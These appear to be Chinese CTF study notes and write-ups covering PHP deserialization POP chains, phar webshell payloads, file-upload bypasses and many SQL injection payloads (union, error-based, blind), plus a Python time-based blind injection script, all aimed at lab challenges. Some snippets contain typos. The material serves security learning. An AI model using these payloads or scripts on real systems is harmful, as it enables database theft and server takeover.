序列化和反序列化

链构造

逻辑性如链条一般,通过一个攻击点去找到另一条攻击点,层层溯源最终拿到漏洞,魔术方法可以作为其中的节点

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP  CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP  CHAIN达到利用特定漏洞的效果。

POP链小技巧

POP链常出现的函数

  • 命令执行:exec()passthru()popen()system()
  • 文件操作:file_put_contents()file_get_contents()unlink()
  • 代码执行:eval()assert()call_user_func()

大写S可以支持字符串编码

s:4:"user"; -> S:4:"use\72";

深浅copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤

$A=&$B;

利用php伪协议

session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的。

pchar反序列化漏洞利用

需要搭配文件上传使用,先生成一个phar文件,里面存入我们想要实现的序列化对象,然后上传到对方服务器,利用phar伪协议读取上传的phar文件(前提是读取界面存在不规范的魔术方法,利用该魔术方法去构造POP链,生成我们想要的序列化对象)

phar文件生成

Plain Text
<?php
class Testobj{
    var $output='';
}
@unlink('text.phar');  //
删除之前的text.phat文件(如果有)
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php__HALT_COMPILER();?>');
$0=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);
$phar->addFromString("test.txt","text");  //添加要压缩的文件
$pahr->stopBuffering();
?>

生成的.phar文件可以改为任意后缀,不需要怕指定后缀上传

字符串逃逸

减少

出现str_replace等字符串替换函数,如果替换后字符长度减少,则可能出现字符串逃逸_减少的问题,可以吞掉一个成员属性,然后修改该成员属性对应的键值构造一个符合题目要求序列化对象

增加

同上,但是替换后字符长度增加,可以用第一个对象属性构建后续想要的对象属性的内容,然后多次添加过滤项把真实的后续属性给挤压掉

SQL注入

一般的sql注入顺序都是先构造闭合,判断可以的注入方法,然后依次爆数据库,爆表,爆列

构造闭合要判断该查询数据是数字型还是字符型

  • 优先判断数字型,直接让系统做加减法,如果系统计算了结果就是数字型,如果没有计算,显示的内容是第一个数字的查询结果就是字符型
  • 然后判断字符型,可以用如下payload尝试

Plain Text
?id=1'
?id=1"
?id=1')
?id=1")

如果页面出现报错,在用--+ 注释符号加在payload后面,观察是否页面恢复正常,如果正常则代表闭合成功

联合注入

  • 在闭合成功的基础上利用order by判断表的列数

Plain Text
id = 1 Order by 1;
id = 1 Order by 2;
id = 1 Order by 3; #
报错 确定列数为2

  • 知道列数之后再用union联合查询判断回显位,还要把查询位的id赋值为表中没有的数字或者让查询结果出错

Plain Text
id=-1'或者id=1'and 1=2 //先报错
//再用union把新的结果集追加在表上
?id=-1 union select 1,2

  • 查看回显位,如果只回显1,则在1这里构造查询命令

下面是常见的查询命令

暴库

Plain Text
id=1' union select 1,database(),3 --+    //当前数据库
id=1' union select 1,group_concat(schema_name),3 FROM information_schema.schemata --+    //所有数据库

爆表

Plain Text
id=1' union select 1,grou_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆列

Plain Text
id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="表名" and table_schema=database() --+

获得数据

Plain Text
id=1' union select 1,group_concat(column_name1),group_concat(column_name2) from "数据库名".table_name

报错注入

常用函数updataxml(),extractvalue(),floor(),exp();

updatexml函数在执行时,第个参数应为合法的XPATH路径,否则会在引发报错的同时将传入的参数进行输出

可以构造类似下面的语句来查询数据

Plain Text
?id=1' or updatexml(1,concat(0x7e,(select users from wp_user),0x7e),1)

extractvalue和updataxml类似,只是它只有两个参数,也是在第二个参数的位置构造语句

Plain Text
?id=1' or extractvalue(1,concat(0x7e,(select users from wp_user),0x7e))

报错回显通常有长度限制(一般长度为32字节),我们可以利用limit也可以利用substr去逐一读取内容

Plain Text
SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,(select username from users limit 1,1)),3);
SELECT username, password FROM users WHERE id = 1 and updatexml(1,concat(0x7e,substr((select group_concat(username) from users),1,31)),3);

盲注

布尔盲注

SQL
?id=1'and length((select database()))>9--+
#
大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。


?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。


?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度



?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

 

时间盲注

SQL
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。

?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。


?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度



?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

 

脚本(不可直接使用)

  • 偷拿一下学校战队的脚本

Python
import requests
import time
import urllib.parse

from bottle import response

url = "http://example.com/login.php"
#
延时的判断时间
delay = 1
#
获取数据库名称
length = 6
payload = {
    "password":f"union select if(length(database())>{length},sleep(3),1),2#",
    "username":"\\"
}
def string_to_hex(input_string):
    return"0x" + "".join(f"{ord(char):02x}"for char in input_string)

def get_db_name(length):
    db_name=""
    for i in range(1,length+1):
        for ascii_code in range(32,127):
            payload = {
                "password": f"union select if(ascii(substr(database(),{i},1))={ascii_code},sleep(2),1),2#",
                "username": "\\"
            }
            start_time=time.time()
            response=requests.post(url,data=payload)
            print(f"[+]Time:{time.time()-start_time}[+] id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
            if time.time()-start_time >= delay:
                print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
                db_name += chr(ascii_code)
                print(chr(ascii_code),end="")
                break
    return db_name

def get_db_tables(db_name,limit):
    tb_names=[]
    tb_name=""
    db_name=string_to_hex(db_name)
    for i in range(1,5):
        for ascii_code in range(32,127):
            payload = {
                "password": f"union select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1))={ascii_code},sleep(2),1),2#",
                "username": "\\"
            }
            start_time=time.time()
            response=requests.post(url,data=payload)
            print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
            if time.time()-start_time >= delay:
                print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
                tb_name += chr(ascii_code)
                break
            else:
                continue
    if tb_name:
        tb_names.append(tb_name)
    return tb_names

def get_tb_columns(tb_name,limit):
    col_names=[]
    col_name = ""
    tb_name=string_to_hex(tb_name)
    for i in range(1,10):
        for ascii_code in range(32,127):
            payload = {
                "password": f"union select if(ascii(substr((select column_name from information_schema.columns where table_name={tb_name} and table_schema=database() limit {limit},1),{i},1))={ascii_code},sleep(2),1),2#",
                "username": "\\"
            }
            start_time=time.time()
            response=requests.post(url,data=payload)
            print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
            if time.time()-start_time >= delay:
                print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
                col_name += chr(ascii_code)
                break
            else:
                continue
    if col_name:
        col_names.append(col_name)
    return col_names

def get_columns_fields(col_name,tb_name,db_name,limit):
    cols_names=[]
    cols_name = ""
    for i in range(1,18):
        for ascii_code in range(32,127):
            payload = {
                "password": f"union select if(ascii(substr((select {col_name} from {db_name}.{tb_name} limit {limit},1),{i},1))={ascii_code},sleep(2),1),2#",
                "username": "\\"
            }
            start_time = time.time()
            response = requests.post(url, data=payload)
            # print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
            if time.time() - start_time >= delay:
                print(
                    f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")
                cols_name += chr(ascii_code)
                break
            else:
                continue
    if cols_name:
        cols_names.append(cols_name)
    return cols_names


def main():
    #print("Getting database name...")
    #db_name=get_db_name(length)
    #print(f"[+]Database name: {db_name}")

    #print("Getting table name...")
    #table_names = get_db_tables('testdb', 0)
    #print(f"Table names: {table_names}")

    #print("Getting column names...")
    #column_names = get_tb_columns('double_check',0)
    #print(f"Column names: {column_names}")

    print("Getting fields...")
    data = get_columns_fields("secret", "double_check", "testdb", 0)
    print(f"data: {data}")


if __name__=="__main__":
    main()

WAF绕过

空格-->内联注释/*!*/,%09,%0a

"="-->like

长度限制-->substr,mid,right,lift,limit

替换-->双写绕过

or-->"^"

","-->substr((select database ()) from 1)

"!="-->"<>"

Writeup

我只想要你的PNG

  • 打开F12能发现check.php,flag在根目录,这是存心诱惑我呢

  • 打开文件夹只能上传图片格式说明存在前端验证,找到它然后删除

  • 抓包上传修改MIME类型,无法上传,可能是白名单验证

  • 把文件名改为png也无法上传,猜测可能是判断文件头

  • 这个是后缀名和文件头一起检测,有点难搞
  • 看提示发现check.php会记录上传的文件名,这是真有你的,还以为多难的题

  • 出师未捷身先死,windows操作系统命名无法出现<>,只能开个虚拟机去创建文件了,请忽略我文件名的错误

  • 上传文件后访问check.php,对应的代码就被执行了

  • 不知道什么原因我用cat /flag无法直接查看flag,所以这里我用蚁剑连接后接查看flag

  • 原来是过滤了flag,好好好,这里还阴我一手

第十三章 通幽关·灵纹诡影

  • 开始提示对上传文件后缀,大小,文件头都有要求

  • 点击上传文件发现只能传.jpg后缀,所以是前端限制,打开F12,删除对应代码即可

  • 然后构造符合文件大小和文件头判断的图片码,文件后缀直接用.php就行

  • 上传后给了地址

  • 直接用蚁剑连接

  • 在根目录下找到flag

第十四章 御神关·补天玉碑

  • 非常明显的黑名单限制,尝试phtml被过滤

  • 在尝试.htaccess,发现成功上传,那就好办了,构建.htaccess文件是所有文件名里带有shell的文件都用php解析器去解析

  • 然后上传shell.jpg的图片马,然后又给了地址

  • 用蚁剑连接

  • 在根目录下找到flag

第十五章 归真关·竞时净魔

  • 需要条件竞争,但是我的burp是社区版,线程不够,无法完成

第十七章 星骸迷阵·神念重构

  • 代码很简单,先构建相应序列化对象

  • 通过eval去实现ls系统命令找到flag在根目录

  • 换成读取flag的命令即可

[NSSRound#4 SWPU]1zweb

  • 非预期解

Plain Text
file=../../../../../flag

  • 既然有查询文件,那就尝试一下index.php读取文件源码

  • 读取成功,拿到源码

  • 存在upload.php,在读取一下upload.php的源代码

  • 这里即存在文件头检测也有后缀名检测,在构建phar文件时还需要考虑__wakeup的绕过,先来构造一个phar文件,构造完后修改一下对象属性值绕过__wakeup

Bash
<?php
class LoveNss{
    public $ljt="Misc";
    public $dky="Re";
    public $cmd="system('cat /flag');";
}
 
$a = new LoveNss();
echo serialize($a);
 
#
下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
 
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

  • 看题解发现因为动了原phar的文件内容而该文件的签名没有变,所以后面利用伪协议解析的时候时成功不了的,找了一个py代码修改一下文件签名

Python
from hashlib import sha1

file = open('C:\\Users\\qing123\\Desktop\\phar.phar', 'rb').read()  #
需要重新生成签名的phar文件

data = file[:-28]  # 获取需要签名的数据

final = file[-8:]  # 获取最后8位GBMB标识和签名类型

newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMB

open('C:\\Users\\qing123\\Desktop\\newpoc.phar', 'wb').write(newfile)  # 写入到新的phar文件

  • 把这个文件进行zip压缩,然后把压缩后的文件名改为白名单中的类型即可绕过文件头过滤

  • 通过phar://伪协议去访问.jpg文件里面的.phar

  • 尬住了,继续查阅资料,发现不能用记事本直接修改数据,要不然即使修改了签名也会自动改变,所以全流程都需要用.py代码

Python
iimport gzip
from hashlib import sha256

file = open(r"C:\Users\qing123\Desktop\phar.phar", 'rb').read()
file = file.replace(b':3:{', b':4:{')  #
修改属性个数绕过__wakeup
s = file[:-28]  # 获取要签名的数据
h = file[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha256(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile(r"C:\Users\qing123\Desktop\shell.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

  • 然后直接用phar://访问上传文件即可

[NSSRound#4 SWPU]1zweb(revenge)

  • 和上一题差不多,这不过在index.php中加了flag过滤,无法用非预期解目录遍历去解题了

[SWPUCTF 2023 秋季新生赛]UnS3rialize

Bash
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}

  • 根据魔术方法的原理理清大致顺序是:F->T->C->NSS,然后去构建相应的序列化对象

Bash
<?php
class NSS
{
    public $cmd;
}

class C
{
    public $whoami;
}

class T
{
    public $sth;
}

class F
{
    public $user = "nss";
    public $passwd = "ctf";
    public $notes;
}

$f=new F();
$t=new T();
$c=new C();
$n=new NSS();
$n->cmd="'ls /'";
$c->whoami=$n;
$t->sth=$c;
$f->notes = $t;
$f->user="SWPU";
$f->passwd="NSS";
$a=serialize($f);
$b=str_replace("O:3:\"NSS\":1:{","O:3:\"NSS\":2:{",$a);
echo $b."\n";
echo "?ser=" . base64_encode($b);

  • 然后根据情况修改$n->cmd即可,但是不知道为什么我这里明明已经触发了__invoke却无法成功,可能是环境问题

  • 我的问题,忘记绕过__wakeup了,修改了一下php代码,用str_replace替换相应对象属性大小,然后再用ls /去寻找flag

  • 然后访问/flag即可

sqli-labs

1

  • 先猜闭合方式,发现是但引号,说明是字符型注入

Plain Text
?id=1'
?id=1'--+

  • 再用orderby猜列数,3正常,4报错,说明列数为3

  • 在判断那些列数是显示在页面上的,还要把1改为-1让数据库查询不到

  • 后续进行正常爆库,爆表名,爆列名即可

2

  • 这关是数字型注入,因为试了单引号,双引号,加括号等方法发现无法闭合,但是直接联合注入发现成功

  • 判断数字型注入还可以用加减法,如果实施了运算且成功访问就是数字型,没有运算就是字符型

  • 后面的步骤和上一题一样就不重复了

5

  • 是单引号闭合,但是页面不会显示列的相关内容,尝试报错注入

  • 报错注入成功,那么在database()栏这里修改成对应的注入语句即可

  • 由于报错注入的回显有长度限制,可以利用limit去逐行阅读

  • 也可以用substr限制长度

  • 其他语句同第一题

6

  • 同上一题,由单引号闭合变为双引号闭合

[SWPUCTF 2021 新生赛]sql

  • 题目提示参数,随便输入一个数试试,显示name和password

  • 判断闭合时出现前端验证,打开F12把它删了就行

Plain Text
?wllm=1'--+

  • 好像找不到,换个注释方式试一下,成功闭合

Plain Text
?wllm=1'%23

  • 判断列数(有空格过滤,就用内联注释绕过),有3列

Plain Text
?wllm=1'/*!12345*/order/*!12345*/by/*!12345*/3%23

  • 判断回显列

Plain Text
?wllm=-1'/*!12345*/union/*!12345*/select/*!12345*/1,2,3%23

  • 获得数据库名(无法直接用group_concat一次性获得所有数据库名,这里我用limit逐个获取,总共5个)

C++
?wllm=-1'/*!12345*/union/*!12345*/select/*!12345*/1,2,schema_name/*!12345*/from/*!12345*/information_schema.schemata/*!12345*/limit/*!12345*/4,1%23
information_schema
mysql
performance_schema
test
test_db

  • 用test_db试一下有没有flag,这里"="被过滤了可以用like代替,而且输入参数对长度有要求,不能同时查两个值

C++
?wllm=-1'/*!12345*/union/*!12345*/select/*!12345*/1,2,table_name/*!12345*/from/*!12345*/information_schema.tables/*!12345*/where/*!12345*/table_schema/*!12345*/like/*!12345*/'test_db'/*!12345*/limit/*!12345*/0,1%23

  • 在这个表中找flag

C++
?wllm=-1'/*!12345*/union/*!12345*/select/*!12345*/1,2,column_name/*!12345*/from/*!12345*/information_schema.columns/*!12345*/where/*!12345*/table_name/*!12345*/like/*!12345*/'LTLT_flag'/*!12345*/limit/*!12345*/1,1%23

  • 获得flag数据,还是个残废品,服了

C++
?wllm=-1'/*!12345*/union/*!12345*/select/*!12345*/1,2,flag/*!12345*/from/*!12345*/LTLT_flag/*!12345*/limit/*!12345*/0,1%23

  • 找没有过滤的截取字符段的函数,其中mid可用

Plain Text
substr(,,)
mid(,,)
right(,)
left(,)
SUBSTRING_INDEX(,,,)
?wllm=-1'/*!12345*/union/*!12345*/select/*!12345*/1,2,mid(flag,30,45)/*!12345*/from/*!12345*/LTLT_flag/*!12345*/%23

[极客大挑战 2019]BabySQL

  • 先用万能密码尝试登录

Plain Text
?username=1'or1=1--+&password=111

  • 根据提示or被过滤,那就双写or尝试一下

  • 成功登录,接下来就是正常流程,然后找过滤函数,用双写绕过即可
  • 判断列数为3列

Plain Text
?username=1'oorrder bbyy 3--+&password=111

  • 判断回显列

Plain Text
?username=1'ununionion seselectlect 1,2,3--+&password=111

  • 获得数据库

Plain Text
username=1'ununionion seselectlect 1,2,group_concat(schema_name) ffromrom infoorrmation_schema.schemata--+&password=111

  • 获得ctf中的表

Plain Text
?username=1'ununionion seselectlect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema='ctf'--+&password=111

  • 获取flag中的列

Plain Text
?username=1'ununionion seselectlect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema='ctf' anandd table_name='Flag'--+&password=111

  • 获取flag

Plain Text
?username=1'ununionion seselectlect 1,2,flag ffromrom ctf.Flag--+&password=111

06 第六章 藏经禁制?玄机初探!

  • 万能密码直接获得flag

Plain Text
username=1' or 1=1%23&password=111

LitCTF writeup

Ezsql

  • 这题尝试加减法判断是字符型注入

  • 利用单引号和双引号和空格去尝试闭合,都没有用,突然想起在hnusec里面看到的宽字节注入,去除魔术反斜杠的方法,在引号前加%df,成功闭合

Plain Text
id=1%df'
id=1%df'--+

  • 接下来就是逐步获得信息了,先获得列数,直接根据题目提示尝试5和6,得出列数为5

Plain Text
?id=1 %df' order by 5--+
?id=1 %df' order by 6--+

  • 获得数据库名

Plain Text
?id=1 %df' union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata--+

  • 获得表名

Plain Text
?id=1 %df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()

  • 获得列名

Plain Text
?id=1 %df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c61675f73746f7265--+

  • 获得flag

Plain Text
?id=1 %df' union select 1,2,3,4,group_concat(flag) from flag_store--+

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐